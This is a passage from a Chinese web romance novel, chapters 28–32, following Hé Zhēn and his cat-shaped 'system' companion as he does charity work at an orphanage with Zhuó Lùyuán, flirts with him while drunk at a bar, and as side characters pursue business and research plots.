孩子静悄悄,肯定在作妖,卓鹭元果断地私聊宁之衡:李尚乐和杨一群这俩家伙最近又干吗了? 宁之衡不愧是冲浪达人,没几分钟就给卓鹭元发了一大段话,把事情的来龙去脉讲的清清楚楚。 宁之衡:你不知道啊?前段时间他俩打赌谁能当上榜一大哥的那个女主播擦边以后不是被平台封了吗,后来那个女主播干脆想带着钱跑路,最近被抓回来了。 宁之衡:然后那两个家伙听说之后,一商量跑去要钱,两个人什么遮掩也不做,顶着两颗光头就去了公.安.局要钱,结果被狗仔拍了个正着,外面都在猜他俩是不是犯事了,不然为什么头发都被剃了。 卓鹭元:…… 不愧是你们。 卓鹭元好奇地追问:怪不得我问李尚乐他还不说实话。那后来呢? 宁之衡直接发了一段语音过来,在语音里笑得声音都不稳了:当然是被他们老爸抓回去暴打一顿啦,笑死我了哈哈哈哈哈!他俩连那女主播的手都没摸过,结果被说不学无术私还乱搞男女关系,他们老爸都要气死了。 卓鹭元听完以后也笑得不行,直接在群里开麦:你俩到底是怎么想的,顶着光头去公.安.局要钱? 卓鹭元发完之后杨一群像是怒气找到了出口一样开始啪啪打字:都怪那个蠢货,非说我俩又没做错事,穿成这样去比较酷,谁知道那天有狗仔蹲明星,结果我爸给我好一顿打! 李尚乐也很委屈:我哪知道那么巧,再说了我也挨打了呀,我的腿才好没多久,现在手又受伤了。还有你那个名字是怎么回事,你给我改回来! 杨一群呵呵两声:你不该打吗?你的手又怎么了,受伤还能打字和我吵架? 李尚乐:右手躲我爸打的时候撞柜子上了,结果骨折了,我在用左手打字。 卓鹭元忍了忍,最后还是没忍住:你们不能发语音吗? 李尚乐:…… 杨一群:…… 卓鹭元退出小群,总觉得跟他们玩会变傻,刚好贺真发消息过来:周末有时间吗,要不要出去走走? 卓鹭元:可以啊,去哪里? 贺真:暂时保密,记得穿便装。 卓鹭元更好奇了,之前贺真约他的时候从没保密过,到底什么地方这么神秘? “宿主,你这样真的行吗?要不还是考虑一下我的建议吧,运动的话很容易就展现出宿主的好身材,主角肯定也会觉得宿主很有魅力的!”茶茶还是不死心地挠着贺真的裤腿,试图说服宿主。 “想都别想,擦.边是不可能擦.边的。”贺真不为所动,默默计划着周末的行程。 茶茶觉得宿主的想法不太靠谱:“可是宿主,带着主角去福利院做慈善这种事,真的能够展现宿主的魅力吗?” 贺真反问:“为什么不能?人格魅力也是魅力的一种。而且我也不是单纯为了做任务,既然有钱,多做点好事也无妨。”说完之后贺真的视线移向茶茶:“有时候我甚至在反省是不是我以前好事做少了,不然为什么救人还把自己搭进去了,所以还是趁现在赶紧积点德。” 系统讪笑一声不敢接话,看着宿主发消息逗卓鹭元,就是不告诉他去哪。 可是做慈善的话,也不一定非要宿主本人去吧?系统这么想着,也就这么问了出来:“宿主给他们捐点钱不行吗?如果。一点不够,还能再捐多一点,为什么要自己去呢?” “谁说我没捐。”贺真看着卓鹭元发来生气地表情包,轻笑一声发了个摸摸头,这才分出注意力回答系统的问题:“钱可以解决很多事,但太多的钱也会带来麻烦。而且自己动手帮点忙也挺有意义的,总要出去走走。” 茶茶似懂非懂,默默决定再多学习一下这个世界的文化,说不定这样就能理解宿主的想法了。 等到了周末,卓鹭元换上便装,一脸期待地坐在贺真的车上,看着周围的景色越来越迷茫,神色也从兴奋变得迷茫,最后甚至揉了揉自己的眼睛,看着大门上的字:小太阳福利院。 “你带我来这里干吗?”他又没有领养的需求。 贺真拉着迟疑的卓鹭元往里走,边走边解释:“贺家平时有做慈善事业,今天有时间,刚好我买了些东西,想看看有没有什么能帮忙的。卓小公子人美心善,应该不会拒绝吧?” 卓鹭元比贺真还大一岁,被他一说老脸一红,轻咳一声:“当然可以,毕竟做好事嘛。” 卓鹭元任由贺真拉着他进了福利院,余光看着贺真。 他还挺有爱心的。 第29章 第 29 章 贺真让助理买了不少…… 贺真让助理买了不少东西送到福利院, 这会院长正在和其他工作人员盘点物资。带着卓鹭元进去的功夫贺真接了个电话,外面又有人开车送了东西过来:“贺先生, 您订的床到了,是给您放这里吗?” 卓鹭元伸头去看贺真买的东西,好像是一些床,像大学宿舍里上下铺的那种,应该是买给孩子们的。 或许是卓鹭元眼里的疑惑太过明显,所以贺真还是解释了一下:“来之前我和院长问过情况, 这里有些床已经旧了,翻身总会发出咯吱声,所以趁这次机会给他们换成新的。” 院长安排好清点的人, 自己急忙出来迎接贺真, 却被贺真拒绝:“本来就是过来看看, 不用这么客气。我们去里面帮忙,你们忙自己的就好。” 院长有些犹豫,但观察贺真的神色之后发现他是真的不想引起太多注意,于是也就不多说了:“我们这里虽然是福利院,但该保障的基本都能保障,孩子们的状况都还不错, 贺先生可以随意看看。” 贺真走在福利院里就像闯进了小人国,那些小萝卜头怯怯地看着他不敢靠近,年纪小一点的眼睛里都开始泛起泪花了。反观卓鹭元,因为长得好看吸引了不少小孩的目光,还有小朋友偷偷从楼里的窗户上露出半个小脑袋偷看他,被发现后又羞涩地捂住脸。 “看来你的人缘比我好多了。”贺真今天还是穿了便装,虽然现在看起来似乎没什么用。 卓鹭元心情不错,看到贺真要帮孩子们组装时, 还热心地卷起袖子过去帮忙:“你教我怎么装,我也来帮忙。” 贺真会装一点,但也要看着送货的工人装一次才有把握,所以他和卓鹭元两个人在旁边边学边装,干活干得很认真。 福利院的空间有限,暂时没有条件扩建,所以贺真还是选了上下铺的宿舍用床,还买了很多新的枕头被子,争取在有限的空间里让孩子们生活地舒服一些。 贺真买的是木质结构的床,组装起来有些重,卓鹭元没干一会就开始出汗,贺真倒是没什么反应,甚至还有余力帮送货大哥一把。 卓鹭元有些羡慕贺真的好体格,突然有一只小手轻轻拉住了他,小男孩双手举着一杯水,似乎是怕卓鹭元拒绝,和卓鹭元说话的声音比蚊子还要小:“你、你要喝水吗?” 小男孩手里的是一次性纸杯,看样子应该是院长或者其他工作人员让他来问的。卓鹭元也有些口渴了,接过小男孩举动被子一饮而尽,对着小男孩笑得十分灿烂:“谢啦,小帅哥!” 小男孩突然羞红了一张脸,哒哒哒跑到门后偷看卓鹭元:“不、不用谢。” 贺真抽了张纸巾擦去额角的汗水,故意用酸溜溜地口吻说话:“长得好看真好,还有小朋友给你倒水喝。” 卓鹭元略过他的酸话,朝小男孩走过去,蹲下问他:“你倒的水真好喝,我还可以再喝一杯吗?” 小男孩用力点头,哒哒哒地跑开,没一会又小心地端着一杯水过来。卓鹭元摸着小男孩的头谢过他,学着他的样子举着被子递给贺真:“贺公子也辛苦了,快喝点水吧。” 贺真看着卓鹭元笑吟吟的脸,突然觉得今天天气有些热,连他也开始口渴。贺真接过卓鹭元的水喝完,似乎还是觉得热,又将本来穿着的短袖往上卷起一截,手臂处的肌肉就这样暴.露在卓鹭元面前,没发现卓鹭元的视线似乎随着他的动作偏移了。 “叮,任务完成。” 贺真:? 贺真放下水杯,心里有些纳闷,刚才他搞了半天木工活都没提示完成,怎么喝个水的功夫任务就突然自己完成了,他的人格魅力有这么大吗? 系统昨夜恶补了一晚上知识,心里也没放弃自己给宿主提的的“好主意”,这会更是不负责任地猜测:“说不定主角看到宿主的肌肉,心里觉得很帅呢?” 贺真本能地不想相信,但他刚才真的没做什么,要是卓鹭元觉得他做木工有魅力,那他半小时之前就应该完成任务了。 该不会是真的吧? 贺真不动声色地把另一边袖子也卷了起来,还假装将新的枕头被子放在上铺,不经意间露出自己的腹肌,用眼角的余光悄悄观察卓鹭元的反应,果然发现对方的视线下意识就往自己腰上瞟去。 贺真:…… 贺真飞快地放好东西之后拽了一下自己的衣服,卓鹭元也跟着收回目光,心底有种自己也未曾察觉到的遗憾,早就知道贺真身材好了,没想到这么好。 茶茶把宿主一系列试探的小动作看了个彻底,仗着卓鹭元听不到在贺真旁边发出放肆地笑声:“哈哈哈,宿主要是采取茶茶的办法早就完成任务了,现在绕了一圈还是茶茶的办法靠谱对吧!” 贺真面无表情地组装房间里最后一张床,在心里威胁系统:“喜欢当无毛猫?回去我就帮你一把。” 他怎么知道主角真能被他的身材吸引,不是说好大家都是直男吗? 茶茶得意洋洋地竖起尾巴,在房间里步伐轻快又小猫得意地走了一圈,大声说:“宿主才舍不得呢!”它看出来了,宿主虽然总是嘴上凶它,但才舍不得真把它怎么样呢。 小朋友们很快就发现自己有了新的床,明明是贺真出力多,却都只敢围着卓鹭元叽叽喳喳地叫着“哥哥”。卓鹭元看到贺真脸上无奈地表情,使了个坏把一个小朋友放在贺真的肩膀上,还问他:“怎么样,哥哥的肩膀高不高?” 小朋友一下变高了很多,下意识揪住贺真的头发,发现这个哥哥没有凶他的意思,好奇逐渐占了上风,眼睛闪着兴奋地光:“我变得好高啊!” 其他小朋友见贺真没有凶他们,也争着要贺真抱:“哥哥,举高高!” 卓鹭元看得开心,好不容易把孩子们都抱了一遍,哄他们去吃饭,贺真突然向卓鹭元凑了过来:“看得这么开心?要不要我也给鹭元哥哥举个高高?” “你不许叫我那个名字!”卓鹭元的脸“蹭”地一下爆红,下意识叫住贺真,连他自己都被自己的反应吓了一跳。 贺真起身拉开距离,顺着卓鹭元的话答应:“好,你不让我叫那我就不叫了。你休息好了吗,我们偷偷溜走吧?” “溜走?为什么?”卓鹭元有些不明白,做好事为什么还要偷偷摸摸地走? 贺真指了指那些乖乖往食堂走的小朋友们:“我们要是留下,院长肯定要我们和他一起吃饭,增加不必要的开销不说,估计你也会有些吃不好。” 卓鹭元的口味他清楚,今天本来就是他拉对方来帮忙,总不能让他连饭都吃不好,所以干脆趁着这个功夫溜走。 卓鹭元也没反驳贺真,跟着他回到了车上,饶有兴趣地和他聊天:“别人搞慈善,巴不得请几十个记者换着角度拍个够,你倒好,连离开都偷偷摸摸的。” “我不太喜欢大张旗鼓,现在这样就挺好。你呢,今天过得还开心吗?”贺真侧身问卓鹭元。 卓鹭元面对贺真的眼睛突然有些说不出话,半晌才回答了一句:“挺开心的。” 确实挺开心的,给孩子们组装床铺开心,看贺真和小孩子玩也挺开心的。只是卓鹭元心里忽然有些不确定,他不喜欢这种不确定的感觉,准备想个办法确认一下。 回家之后,卓鹭元迫不及待地召唤盛俊文,盛俊文昨天通宵陪李尚乐和杨一群喝酒,被卓鹭元连环call的。时候还顶着鸡窝头,崩溃地看着卓鹭元:“元儿,你换个人召唤行不,哥们昨晚一夜没睡光陪那俩傻子了。” 卓鹭元故作失落地“哦”了一声:“感情淡了,他们叫你你就出去,我叫你你就让我放过你。本来……算了。” 盛俊文更崩溃了:“别别别,你话说一半我怎么可能睡得着觉,快点快点,早说完我早回去补觉。” 卓鹭元点了一碗醒酒汤给盛俊文,趁着盛俊文喝汤的功夫,观察着他的表情小声试探:“你觉得贺真对我是什么想法?” “噗!!!” 盛俊文用纸巾擦干净嘴角的汤:“你问这个干吗?你不会真看上他了吧?不过也是,他又高又帅,家里有钱还不乱搞。之前那个服务生要不是你说她人还行,我都以为她故意往贺真身上扑了。” 盛俊文没发现自己越说卓鹭元的脸色越难看,最后不知道嘟囔了一句什么,盛俊文没听清,大概不是什么重要的话。 卓鹭元犹犹豫豫地对盛俊文说:“帮我个忙行不?” “什么忙?”盛俊文看着卓鹭元的样子,心里有种不好的预感。 卓鹭元看了看周围,确认没人之后压低声音之后和盛俊文说:“我想让你帮我确认一下,他是不是这个。”说完卓鹭元还弯了弯手指。 盛俊文大惊失色地后退摇头,张口就是拒绝:“别啊,我比钢筋还直,勾.引男人的事我真的做不来啊!” 卓鹭元听完朝他胳膊上狠狠地抽了一下,暴躁地说:“谁让你去勾.引贺真了!我让你帮我侧面打听一下他是不是弯的,你想得倒美!” 气死了,他自己心里都还没想明白,盛俊文还想去勾引贺真! 盛俊文委屈地揉揉胳膊,“哦”了一声:“知道了,我去还不行吗。唉,万一你要是哪天真弯了,吃席我得坐主桌。” 卓鹭元捧着脸没正面回答:“别想套我话,我等你消息。” 第30章 第 30 章 贺真坐在床上,看着…… 贺真坐在床上, 看着面前的茶茶,一人一统相顾无言。 怎么办? 茶茶觉得自己好像一瞬间和宿主的脑袋同频了, 一时间两个人暂时都不太想面对这个问题。 可是任务还是要做,系统想了想率先开口试探:“其实茶茶觉得主角应该不会弯的……吧?” 茶茶说完之后自己也有点心虚,贺真更是看着他半天没说话,搞得它有些坐立不安。万一主角真的弯了,那后面的剧情该怎么办啊?茶茶用后爪挠挠头,想把这个可怕的念头赶走。 贺真自从刚才开始就一直保持沉默, 良久之后忽然叹了口气:“唉。” 茶茶听见宿主叹气,马上凑过去关心宿主:“宿主怎么了?” “没什么,只是觉得事情有些棘手。”在沉默的时间里, 贺真想了很多事情, 其中最大的问题就是主系统发布的这个主线剧情。刚才他打开系统面板看过了, 主线剧情还是一片马赛克,也不知道什么时候才能修好。 万一卓鹭元真喜欢上他,这个主线剧情还有吗,他的积分又怎么办?这些不确定的问题让他有些烦躁。 茶茶也有些担忧,不过它的担忧比贺真还多了一点:“宿主就没考虑过,万一主角把你也掰弯了怎么办?” 贺真低头看着系统, 也不知道这家伙最近学了些什么东西,还没确定卓鹭元的想法就用上了“也”字,搞得主角一定会弯似的。 “…我觉得你想多了。”虽然平心而论,卓鹭元各方面都很优秀,笑起来的样子更是好看,和那家福利院的名字一样像个小太阳,但贺真还是觉得茶茶想多了。 茶茶眨着自己水汪汪的大眼睛,真诚地看着贺真:“宿主刚才回答茶茶的问题时迟疑了一秒哦。其实宿主弯了也没关系的, 茶茶发现这个世界的性向还是很多元的,比如……” 贺真眼疾手快地一把捂住猫嘴:“好了,我不想听。” 茶茶被迫闭麦,贺真把它放到床上,这才后知后觉地反应过来:“为什么我总觉得你好像在撮合我和卓鹭元?这对你有什么好处?” 茶茶却摇了摇头,想了想对贺真说:“茶茶也不是要撮合宿主和主角,只是觉得宿主和主角一起玩的时候很开心,以前茶茶都没怎么见到宿主笑过。”以前宿主不喜欢笑也就算了,还总喜欢冷着脸吓它,还威胁自己变成无毛猫。 贺真有些无奈:“接下来你是不是还要说少爷好久都没这样笑过了?” 茶茶一惊:“宿主怎么知道?!”它正准备说出来呢! 贺真哼笑一声:“你以为只有你自己趁着我睡觉的时候偷学?你要学的还很多。”贺真也是第一次当绿茶,自从发现系统在偷偷研究这个世界的资料后他也没戳穿,自己也跟着偷偷卷了起来。 茶茶萎靡地趴在床上:“你们人类好复杂哦。” “我也觉得。”贺真打开系统商城,日常翻看里面的积分道具。现在主线剧情有点危险,他得提前看看有没有能之后能帮上忙的。翻看商城的时候贺真突然想起来一件事:“之前的宿主也会遇到我这样的问题吗?” 系统也不知道,茫然地摇摇头:“应该有吧?我抽时间去系统论坛问一下,说不定他们会有办法呢。” “嗯,拜托你了。”贺真心里将有可能派上用场的道具默默记下来,这样到时候不会没有任何准备。 贺真关掉系统商城,手机却突然响了,是盛俊文约他出去喝酒:“最近有时间不,出来玩?上次喝酒也没喝好,这次刚好补上!” 盛俊文叫他喝酒? 贺真心里有点怀疑,但还是答应下来:“好,就我们几个吗?” 盛俊文开朗的声音突然有些迟疑:“就你我,亮子,还有城哥和阿衡,在亮子的酒吧小聚一下。” 贺真很快抓到了重点:“鹭元不在?” 盛俊文打着哈哈:“哎呀,他能喝什么酒,没喝两杯就要送他回去了。你来不来,我们等你。” “来,等我半小时。”贺真挂掉电话,撑着下巴看着手机,盛俊文和卓鹭元向来关系好,基本有什么事第一时间想到的也是对方,盛俊文喝酒居然不叫卓鹭元? 有意思,不如等去了看看他想做什么。 夜晚的酒吧街灯火通明,亮子的酒吧就是其中之一,贺真熟门熟路地扎了进去,盛俊文冲他招了招手,带着他往几个人坐的地方去:“来来来,今天咱们必须好好喝一个。” 盛俊文选的地方不在包间,反而是靠里一些的卡座,贺真看了盛俊文一眼,虽然没说话,但心里总觉得他更可疑了。 今天李尚乐和杨一群不在,估计是又被家里关禁闭了,贺真也不知道他们两个每次都在较什么劲,到头来谁也没赢过。 贺真来的时候亮子、城哥和阿衡已经坐在位子上了,亮子把倒好的酒往前推了推,热情地招呼贺真:“来来来,你看样子就和鹭元不一样,肯定是个能喝的,今天不醉不归啊!” 贺真酒量不错,拿起酒杯和大家碰了碰就喝完了,爽快地不像话。 卢俊城看着贺真喝酒的样子笑了笑:“行啊,鹭元这么不能喝酒的人还有你这么爽快的发小。” 贺真听卢俊城的话,似乎之前在自己回国之前并不知道他的存在,顿时有些好奇:“我对小时候的事记得不太清楚,我们之前见过吗?” 卢俊城却摇摇头:“自然不认识。我们这些人里,俊文和鹭元关系最好,他们俩可是真正的发小,我和阿衡都是后来才认识鹭元的。” 宁之衡笑嘻嘻地接话:“其实严格说起来,李尚乐和杨一群那两个笨蛋也是和鹭元从小认识的,只是鹭元嫌他俩傻,不怎么和他俩一起玩。” 原来是这样,贺真了然地点点头,又给自己添了一杯酒:“我在国外时间太长,许多事还真不清楚,多亏有你们。” 盛俊文摆摆手没当个事:“这有什么的,不知道的尽管问我们。” 卢俊城也点点头:“我们也很佩服你,听说上次在星芒,你一出手就解决了贺彦,我这么大的时候可不如你。说起来你接手星芒,是想进军娱乐圈吗?” 贺真没说是也没说不是,开口对卢俊城说:“也不算,毕竟也是贺家的产业。贺家产业不少,虽然有些不是公司主业,但我也不准备丢下,慢慢整理吧。” 盛俊文刚想说些什么,口袋里的手机忽然震动,到嘴边的话又变了样:“哎呀,出来玩谈什么工作,城哥你可别把阿真也带成工作狂,来来来喝酒。” 亮子让人上的酒度数不低,贺真喝了几杯却一点反应也没有,盛俊文只好硬着头皮找话题:“你在国外一定不少人追你吧?和哥们说实话,有没有看上的?” 贺真眯起双眼,眼中似乎终于有些醉意:“嗯,是有很多人追。”说完之后又补充了一句:“男的女的都有。” 这话倒不假,但不是“贺真真”,而是他自己的经历。 盛俊文兜里的手机震得像催命,但他半句话也不能乱说,生怕贺真看出什么,脑袋转速快得要冒出火花了。 偏偏电话那头的人一点也不知道心疼自己,还坐在不远处的卡座上,戴着耳机焦灼地催促着盛俊文:“什么?!还有男的追他?这部分展开说说,快问他是怎么想的!” 盛俊文心里苦,明明他对男的半点想法都没有,还要为了兄弟问这种事:“还有男的?真的假的,那你什么想法?” 宁之衡敏锐地嗅到了一丝不对,平时最八卦的不是他吗,怎么突然变成盛俊文了? 贺真醉意上头,定定地盯着盛俊文看了一会,在盛俊文快要坐不住的时候低笑一声:“都是喜欢而已,没什么不同。” 卓鹭元藏在卡座后面,时不时回头偷看一眼盛俊文那边的情况,在耳机里听到贺真说的时又悄悄缩了回来,这人嘴还挺甜。 盛俊文还想再问,那边的服务员突然低声和亮子说了什么,亮子皱着眉头站起身来准备去处理:“那边几个二世祖起冲突了,我去平一下。真是的,敢在我的酒吧闹事,喝高了是吧。” 卢俊城见亮子起了火气,怕他和别人吵起来,于是站起身来准备去帮忙:“我陪你去,都是做生意,别太大火气,好好处理。” 亮子烦躁地拽了一下衣领,算是应下了卢俊城的话,两人一起向起冲突的包间走过去。 桌上一下少了两人,宁之衡虽然想听八卦,但到底还是担心占了上风,也准备过去看看。贺真撑着头坐在位子上,无所谓地对盛俊文说:“我休息一会。” 盛俊文看他没什么事,于是自己往厕所走去。刚才喝了那么多酒,憋死他了。 卓鹭元背对着他们的卡座,听着耳机里几人离开的声音,忍不住有些心急,又不敢回头,面前却突然投下一道阴影: “原来有小耳朵藏在这里偷听。” 盛俊文灌酒不讲武德,几种酒混着给贺真倒,生怕他直着回去,这会他是真的有了些醉意。 醉酒的贺真说话变得肆意,此时双手撑在卓鹭元的卡坐旁边将他圈住,像一只狼在围自己的猎场: “你想知道,为什么不直接问我?”【你现在阅读的是 】 40-50 第31章 第 31 章 贺真突如其来的发问…… 贺真突如其来的发问把卓鹭元思绪都打乱了, 不仅没回答贺对方的问题,甚至鬼使神差地反问一句:“我问了你就会告诉我吗?” 卓鹭元问完就有点后悔, 搞得他好像真的看上贺真了一样,还在酸溜溜地盘问对方以前的感情史。 贺真松开自己按在卡座上的手,顺势坐在卓鹭元旁边,靠着沙发闭目养神:“当然,你可是鹭元哥哥。” 茶茶目瞪口呆地看着宿主,谁来告诉它, 它的宿主怎么变成这样了! 系统着急地在贺真脚边转着圈圈,还大着胆子伸手用力拍了拍宿主的腿,企图把他叫醒:“宿主, 宿主?快醒来啊, 这是男主, 不要再撩他了,你不是直的吗?” 酒吧里的音乐声把系统的声音淹没,贺真没有听到卓鹭元回答自己的声音,疑惑地睁开眼看向对方。 不知道是不是贺真的错觉,他竟然在这种昏暗的环境里发现卓鹭元的脸似乎……有点红? 卓鹭元在贺真坐下来的时候就开始全身僵硬,听到他那句调侃的话时更不知道该回答什么, 尤其是喝醉的贺真比平时讲话的声音还要低沉沙哑一些,他感觉自己的耳朵都要叛变了。 “你怎么发现我在偷听的?”卓鹭元缩着脖子,不敢看贺真的眼睛。 贺真轻笑一声,指了指卓鹭元的手机:“某人的手机一直震动个不停,我还以为酒吧地震了。” 啊!盛俊文这个家伙怎么回事,这都让贺真看出来了! 卓鹭元看贺真说完之后又闭上眼睛开始闭目养神,马上打开锁屏开始谴责盛俊文,还时不时偷看贺真的表情, 发现对方。是真的有些醉了之后,蹑手蹑脚地从卡座上站起来,头也不回地溜出酒吧。 贺真等了半天,想看卓鹭元还有什么想说的,结果一睁眼时却发现身边一个人都没有了,只剩一个上厕所归来的盛俊文。 谁知道盛俊文上厕所回来,看到贺真坐在卓鹭元的位置上时人都傻了,他该不会都知道了吧?! 贺真眯起眼睛,脑子里都是卓鹭元逃跑的事,根本没把盛俊文的事放在心上: “我走了。” 盛俊文迷茫地摸着脑袋,拿出手机就看到了卓鹭元发过来的信息,当即决定先避避风头,免得卓鹭元和他秋后算账。 盛俊文关闭聊天软件,给爸妈打了个电话:“老爸老妈,我出去旅游几天,有人来找我都说我不在啊。” 元儿啊,对不住了。 贺真醒来时已经是第二天中午,即便是人已经醒了,但贺真的头还是很疼,贺真按了按太阳穴,发现茶茶正蹲在自己枕头边,一动不动地看着他。 贺真没来由地被茶茶盯得有些心虚,一句“怎么了”刚问出口,昨天晚上的记忆就回笼了。 贺真:…… 茶茶看到贺真的表情,就知道宿主应该是都想起来了,晃了晃尾巴问宿主:“宿主,茶茶最近刚好学习到人类语言和行为分析,还看了一些影像资料,有一句话可以形容宿主昨天的行为哦。宿主想知道吗?” 贺真的直觉告诉他,茶茶嘴里应该说不出什么好话来,但出于好奇还是回答:“…你说。” 茶茶扬起脑袋,眨着水汪汪的大眼睛对贺真说:“你好.骚啊。” 贺真:“……” “以后我会规定你的学习时间和学习内容,小孩子不许学这些乱七八糟的。”贺真当作没听见茶茶的话,自己起身去浴室洗漱打理自己。 贺真站在花洒下,任由水流从上而下倾泻,心里思绪万千。 他知道自己喝醉酒后和平时不太一样,说话也比较随心,好在他酒量一直不错,所以也没出过什么事。可是想起昨晚上自己对卓鹭元说的话,连贺真都不禁有些怀疑自己。 他这么撩对方,别说卓鹭元了,就是他都开始有些怀疑自己,难道他真弯了? 贺真觉得自己需要一点时间来想清楚,这段时间还是先别联系卓鹭元了。 贺真想好一切事情之后心就定了下来,刚摸起手机去充电,钱特助的电话就打了进来:“贺总,您之前让我了解的那个医疗项目有结果了,我们有一些新的发现,需要您本人定夺。” 贺真眼神一凛,毫不犹豫地对钱特助说:“我知道了,在公司等我。” 说巧也巧,卓鹭元这边也是一样的打算。 那天卓鹭元从酒吧回来之后,晚上睡觉时的噩梦消失了,取而代之的是贺真低哑着声音在自己耳边说话的画面,一遍一遍像走马灯一样循环播放,搞得他比做噩梦的时候睡得还差。 总这样也不是办法,卓鹭元也得有点时间搞清楚自己的想法,他该不会真对贺真见色起意了吧? 卓鹭元想了又想,决定给自己找点事情做做。 可是卓家目前还在依靠卓父撑着,他又是刚上手不久,并不想贺真那样忙碌。想来想去,他也只能给自己找些事情做来分散一下注意力。 卓鹭元想起上次卓父和他聊那块地的事,原本他是打算去找卢俊城请教的,上次因为意外耽搁了,现在刚好把这件事情捡起来。 卓鹭元心里有了主意,整理了一些资料出发去找卢俊城。 卢家的公司叫恒泰地产,算起来年龄比卓鹭元可大多了,这一代也只有卢俊城一个孩子,自然也是从小当继承人培养的。 和卓鹭元生性爱自由的不羁性子不一样,卢俊城从小做事都比较稳重,学习成绩也好,在卓鹭元的朋友圈里算是别人家的孩子,平时对他们也像大哥哥一样照顾,卓鹭元找卢俊城心里很没压力。 卢俊城倒是觉得新奇:“今天太阳从西边出来了?你怎么跑到我这里来了。” 卢俊城叫住准备给卓鹭元倒茶的助理,吩咐他:“去准备一杯咖啡,一半咖啡一半牛奶,加一些糖,他不喜欢苦味。” 卓鹭元窝在卢俊城办公室的沙发里没心没肺地笑着:“嘿嘿,还是城哥你懂我。我这次来是想找你请教一下业务上的事情,以前上学的时候朋友里面就你的成绩最好了,就帮帮我吧。” 卢俊城失笑地摇摇头:“知道了。你说说你,上学的时候找我突击补课也就算了,都开始工作了还补课。你到这边坐,那么远我怎么给你讲?” 卓鹭元抱着资料坐到卢俊城对面,助理刚好端着咖啡进来放下,卢俊城对他点点头:“下午的会议推迟,时间待定。” 卓鹭元见卢俊城似乎很忙的样子,心里还是有点愧疚的:“这样会不会打扰到你工作啊?要不你改天休息的时候我再找你?” 卢俊城翻了翻卓鹭元带来的资料,基本都是一些和地产相关的基础资料,比如招投标和之后投建相关的,闻言无奈地看着他:“我都不知道你小子对我是好还是不好,休息了还让我加班给你补课。别贫了,说说哪里不懂。” 卓鹭元其实很多都不算太懂,但还是思考着问了几个问题:“如果要拍一块地,需要注意些什么问题,只要去拍卖会出钱就行了吗?” 拍地? 卢俊城摇头:“当然不是了。首先要看你准备拍的那块地面积多大,价格和性价比怎么样。如果地段好的话,这个过程就不会像你想象中那么顺利。当然,最重要的是你要明白自己的底线在哪里,做好权衡利弊。” 这些卓鹭元还是懂的,于是点点头又问了另外一个问题:“那招投标那些呢?” “这个要看具体情况。我用乔家赔偿给你的那块地为例,如果你想独立开发的话就没有这个问题,只有你想合作的话才涉及到这个问题。招投标流程那些基本的资料上都有,基本上比较通俗易懂。不过那块地体量小,以你家的情况应该也不用合作。” 卓鹭元没说自己是不是想开发那块地,今天他拿来的资料都是他自己整理的,不涉及什么公司机密。他不笨,相反比其他人更加心思通透,既然想和卢俊城维持好朋友关系,事前的准备更加重要,这样双方相处起来都不为难。 卓鹭元学得很快,卢俊城还特地举了一些以前的案例给卓鹭元讲解,一个下午讲得口干舌燥,卓鹭元终于收起资料塞回包里:“没想到里面还有这么多需要注意的,做生意真难。城哥,你辛苦了。” “没什么,大家都是这样过来的。”卢俊城喝了口水,看了一眼时间:“要不要一起去吃个饭,差不多也到饭点了。” 卓鹭元连忙摇摇头:“不了不了,你好好休息,下次有机会我再来找你,谢谢啦!” “你这臭小子,还有下次啊!”卢俊城笑骂一句,也不准备继续开会了,直接发了通知将会议推迟到明天。 他没想到自己都毕业七八年了还得给人当老师,还真的有点累。 卓鹭元哼着小曲开车回到家里,吃着阿姨做的饭菜,不仅好心情地回复了行政说物色到了合适助理的消息,连分公司发来请他去看最新成果的邀请都答应了。 回完消息,卓鹭元收拾好自己之后终于有时间躺下来玩玩手机,顺便给盛俊文发了一句“我看你到底回不回来”的问候,困意涌上来之前又弹出一条新消息,是祁琼音发来的。 卓鹭元迷迷糊糊地想,她又怎么了,难道又把茶水泼别人身上了,还是摔倒砸碎了花瓶? 祁琼音发来的只有一个开心得表情和一句话:“我们组终于出成果啦,听说卓总你明天也会来,一定要看看我们组!” 卓鹭元打了个哈欠,懒得多说什么,随手回复了一个“好”,就抱着枕头睡着了。 第32章 第 32 章 “素素,他真的回我…… “素素, 他真的回我消息了,他说好!” 祁琼音自从在盛辉工作之后就搬出了宿舍, 本来就走了大半人都宿舍只剩一个周素,她要等到下周才离开。 祁琼音本来对卓鹭元把自己放到分公司有些失落和自责,都怪她粗心大意又笨手笨脚,好不容易去总公司工作的机会又让她泡汤了。但是自从到了分公司之后,祁琼音却突然觉得自己得心应手了许多,尤其是在新能源这一方面。 盛辉的新能源产业一直不温不火的, 因为不是业界有名的企业,好人才基本也不会到这家分公司来,就算来了也只是拿他当个跳板而已, 所以仅有的人每天也只是按部就班地打卡上班。 但祁琼音不一样, 她有冲劲也有专业知识, 一心想把事情做好,加上又是卓鹭元直接下放到分公司的人,就算有人背地里看她不顺眼也不能对她做什么,谁知道是不是未来的老板娘。 祁琼音不看还好,一看就发现现在投产的新能源电池,设计图还是很久之前的结构, 祁琼音他们以前做实验都不会考虑采用用。效率不高也就算了,成本也没有比其他新能源电池好多少,现在还有业务估计也是占了便宜这一点。 祁琼音其实心里一直以为卓鹭元对她失望了,所以努力想做出一点成绩证明自己。只是当时做实验时的一些专利不是她一个人的,她不能用,只好自己想办法。 结果她成功的,一个开心也就没顾上其他,直接给卓鹭元发了消息过去, 发完才想明白对方应该不会回了,没想到卓鹭元回了个“好”,她马上喜出望外地和闺蜜分享! 周素听到电话那头祁琼音喜悦的声音,自己也跟着开心:“他还记得你?看来卓学长人不错嘛。不对,我们现在都是打工人,该叫卓总了。唉,我什么时候能有你这样的好运气,也能进大公司上班啊。” 祁琼音十分相信周素:“素素你一定可以的!对了,你说他明天来的时候,我要不要带一些自己做的点心,比如饼干什么的?我之前总觉得他对我失望了,现在看看我也不差嘛!” 周素敏锐地嗅到一点不对,开门见山地直接问自己闺蜜:“等一下,我怎么感觉有点不对呢?你给卓学长做饼干,你不是不爱干这种事吗,说耽误你打工的时间。老实交代,你是不是对人家……” 周素的话没说完,但祁琼音哪能听不出来她都意思,马上红着脸在电话里否认:“你想到哪里去了,我就是想感谢他而已。哎呀,不和你说了,你只会打趣我,我要去做饼干了!” 祁琼音听着有要跑的意思,周素连忙叫她回来:“你等我把话说完!我和你说认真的,琼音,你别对他花太多心思,小心自己最后拔不出来。你也知道,我们这样的普通人和他家世差别太大,灰姑娘和王子的事也就只有童话里有,现实里能有几个,我是为你好,怕你伤心。” 